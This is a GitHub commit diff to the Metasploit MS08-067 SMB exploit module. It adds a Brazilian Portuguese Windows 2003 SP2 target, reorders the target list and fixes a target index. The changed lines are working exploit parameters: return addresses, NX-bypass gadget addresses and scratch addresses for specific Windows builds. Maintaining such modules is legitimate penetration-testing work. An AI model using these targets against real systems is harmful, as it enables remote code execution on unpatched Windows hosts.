Skip to content

Commit 50b734f

Browse files
author
HD Moore
committed
Add Portuguese target, lands rapid7#3961 (also reorders targets)
1 parent 183acb9 commit 50b734f

1 file changed

Lines changed: 93 additions & 79 deletions

File tree

‎modules/exploits/windows/smb/ms08_067_netapi.rb‎

Lines changed: 93 additions & 79 deletions
Original file line numberDiff line numberDiff line change
@@ -88,6 +88,14 @@ def initialize(info = {})
8888
}
8989
], # JMP ESI SVCHOST.EXE
9090

91+
# Standard return-to-ESI without NX bypass
92+
['Windows 2003 SP0 Universal',
93+
{
94+
'Ret' => 0x0100129e,
95+
'Scratch' => 0x00020408,
96+
}
97+
], # JMP ESI SVCHOST.EXE
98+
9199
#
92100
# ENGLISH TARGETS
93101
#
@@ -128,79 +136,6 @@ def initialize(info = {})
128136
}
129137
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
130138

131-
# Standard return-to-ESI without NX bypass
132-
['Windows 2003 SP0 Universal',
133-
{
134-
'Ret' => 0x0100129e,
135-
'Scratch' => 0x00020408,
136-
}
137-
], # JMP ESI SVCHOST.EXE
138-
139-
# Standard return-to-ESI without NX bypass
140-
['Windows 2003 SP1 English (NO NX)',
141-
{
142-
'Ret' => 0x71bf21a2,
143-
'Scratch' => 0x00020408,
144-
}
145-
], # JMP ESI WS2HELP.DLL
146-
147-
# Brett Moore's crafty NX bypass for 2003 SP1
148-
['Windows 2003 SP1 English (NX)',
149-
{
150-
'RetDec' => 0x7c90568c, # dec ESI, ret @SHELL32.DLL
151-
'RetPop' => 0x7ca27cf4, # push ESI, pop EBP, ret @SHELL32.DLL
152-
'JmpESP' => 0x7c86fed3, # jmp ESP @NTDLL.DLL
153-
'DisableNX' => 0x7c83e413, # NX disable @NTDLL.DLL
154-
'Scratch' => 0x00020408,
155-
}
156-
],
157-
158-
# Standard return-to-ESI without NX bypass
159-
['Windows 2003 SP1 Japanese (NO NX)',
160-
{
161-
'Ret' => 0x71a921a2,
162-
'Scratch' => 0x00020408,
163-
}
164-
], # JMP ESI WS2HELP.DLL
165-
166-
# Standard return-to-ESI without NX bypass
167-
['Windows 2003 SP2 English (NO NX)',
168-
{
169-
'Ret' => 0x71bf3969,
170-
'Scratch' => 0x00020408,
171-
}
172-
], # JMP ESI WS2HELP.DLL
173-
174-
# Brett Moore's crafty NX bypass for 2003 SP2
175-
['Windows 2003 SP2 English (NX)',
176-
{
177-
'RetDec' => 0x7c86beb8, # dec ESI, ret @NTDLL.DLL
178-
'RetPop' => 0x7ca1e84e, # push ESI, pop EBP, ret @SHELL32.DLL
179-
'JmpESP' => 0x7c86a01b, # jmp ESP @NTDLL.DLL
180-
'DisableNX' => 0x7c83f517, # NX disable @NTDLL.DLL
181-
'Scratch' => 0x00020408,
182-
}
183-
],
184-
185-
# Standard return-to-ESI without NX bypass
186-
['Windows 2003 SP2 German (NO NX)',
187-
{
188-
'Ret' => 0x71a03969,
189-
'Scratch' => 0x00020408,
190-
}
191-
], # JMP ESI WS2HELP.DLL
192-
193-
# Brett Moore's crafty NX bypass for 2003 SP2
194-
['Windows 2003 SP2 German (NX)',
195-
{
196-
'RetDec' => 0x7c98beb8, # dec ESI, ret @NTDLL.DLL
197-
'RetPop' => 0x7cb3e84e, # push ESI, pop EBP, ret @SHELL32.DLL
198-
'JmpESP' => 0x7c98a01b, # jmp ESP @NTDLL.DLL
199-
'DisableNX' => 0x7c95f517, # NX disable @NTDLL.DLL
200-
'Scratch' => 0x00020408,
201-
}
202-
],
203-
204139
#
205140
# NON-ENGLISH TARGETS - AUTOMATICALLY GENERATED
206141
#
@@ -637,12 +572,34 @@ def initialize(info = {})
637572
}
638573
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
639574

575+
#
576+
# Windows 2003 Targets
577+
#
578+
640579
# Standard return-to-ESI without NX bypass
641-
# Provided by Masashi Fujiwara
642-
['Windows 2003 SP2 Japanese (NO NX)',
580+
['Windows 2003 SP1 English (NO NX)',
643581
{
644-
'Ret' => 0x71a91ed2,
645-
'Scratch' => 0x00020408
582+
'Ret' => 0x71bf21a2,
583+
'Scratch' => 0x00020408,
584+
}
585+
], # JMP ESI WS2HELP.DLL
586+
587+
# Brett Moore's crafty NX bypass for 2003 SP1
588+
['Windows 2003 SP1 English (NX)',
589+
{
590+
'RetDec' => 0x7c90568c, # dec ESI, ret @SHELL32.DLL
591+
'RetPop' => 0x7ca27cf4, # push ESI, pop EBP, ret @SHELL32.DLL
592+
'JmpESP' => 0x7c86fed3, # jmp ESP @NTDLL.DLL
593+
'DisableNX' => 0x7c83e413, # NX disable @NTDLL.DLL
594+
'Scratch' => 0x00020408,
595+
}
596+
],
597+
598+
# Standard return-to-ESI without NX bypass
599+
['Windows 2003 SP1 Japanese (NO NX)',
600+
{
601+
'Ret' => 0x71a921a2,
602+
'Scratch' => 0x00020408,
646603
}
647604
], # JMP ESI WS2HELP.DLL
648605

@@ -665,6 +622,54 @@ def initialize(info = {})
665622
}
666623
],
667624

625+
# Standard return-to-ESI without NX bypass
626+
['Windows 2003 SP2 English (NO NX)',
627+
{
628+
'Ret' => 0x71bf3969,
629+
'Scratch' => 0x00020408,
630+
}
631+
], # JMP ESI WS2HELP.DLL
632+
633+
# Brett Moore's crafty NX bypass for 2003 SP2
634+
['Windows 2003 SP2 English (NX)',
635+
{
636+
'RetDec' => 0x7c86beb8, # dec ESI, ret @NTDLL.DLL
637+
'RetPop' => 0x7ca1e84e, # push ESI, pop EBP, ret @SHELL32.DLL
638+
'JmpESP' => 0x7c86a01b, # jmp ESP @NTDLL.DLL
639+
'DisableNX' => 0x7c83f517, # NX disable @NTDLL.DLL
640+
'Scratch' => 0x00020408,
641+
}
642+
],
643+
644+
# Standard return-to-ESI without NX bypass
645+
['Windows 2003 SP2 German (NO NX)',
646+
{
647+
'Ret' => 0x71a03969,
648+
'Scratch' => 0x00020408,
649+
}
650+
], # JMP ESI WS2HELP.DLL
651+
652+
# Brett Moore's crafty NX bypass for 2003 SP2
653+
['Windows 2003 SP2 German (NX)',
654+
{
655+
'RetDec' => 0x7c98beb8, # dec ESI, ret @NTDLL.DLL
656+
'RetPop' => 0x7cb3e84e, # push ESI, pop EBP, ret @SHELL32.DLL
657+
'JmpESP' => 0x7c98a01b, # jmp ESP @NTDLL.DLL
658+
'DisableNX' => 0x7c95f517, # NX disable @NTDLL.DLL
659+
'Scratch' => 0x00020408,
660+
}
661+
],
662+
663+
# Brett Moore's crafty NX bypass for 2003 SP2 (target by Anderson Bargas)
664+
[ 'Windows 2003 SP2 Portuguese - Brazilian (NX)',
665+
{
666+
'RetDec' => 0x7c97beb8, # dec ESI, ret @NTDLL.DLL OK
667+
'RetPop' => 0x7cb2e84e, # push ESI, pop EBP, ret @SHELL32.DLL OK
668+
'JmpESP' => 0x7c97a01b, # jmp ESP @NTDLL.DLL OK
669+
'DisableNX' => 0x7c94f517, # NX disable @NTDLL.DLL
670+
'Scratch' => 0x00020408,
671+
}
672+
],
668673
# Standard return-to-ESI without NX bypass
669674
['Windows 2003 SP2 Spanish (NO NX)',
670675
{
@@ -682,7 +687,16 @@ def initialize(info = {})
682687
'DisableNX' => 0x7c83f517, # NX disable @NTDLL.DLL
683688
'Scratch' => 0x00020408,
684689
}
685-
]
690+
],
691+
692+
# Standard return-to-ESI without NX bypass
693+
# Provided by Masashi Fujiwara
694+
['Windows 2003 SP2 Japanese (NO NX)',
695+
{
696+
'Ret' => 0x71a91ed2,
697+
'Scratch' => 0x00020408
698+
}
699+
], # JMP ESI WS2HELP.DLL
686700

687701
#
688702
# Missing Targets
@@ -826,7 +840,7 @@ def exploit
826840

827841
# Windows 2003 SP0 is mostly universal
828842
if fprint['os'] == 'Windows 2003' and fprint['sp'] == 'No Service Pack'
829-
mytarget = targets[7]
843+
mytarget = targets[3]
830844
end
831845

832846
# Windows 2003 R2 is treated the same as 2003

0 commit comments

Comments
 (0)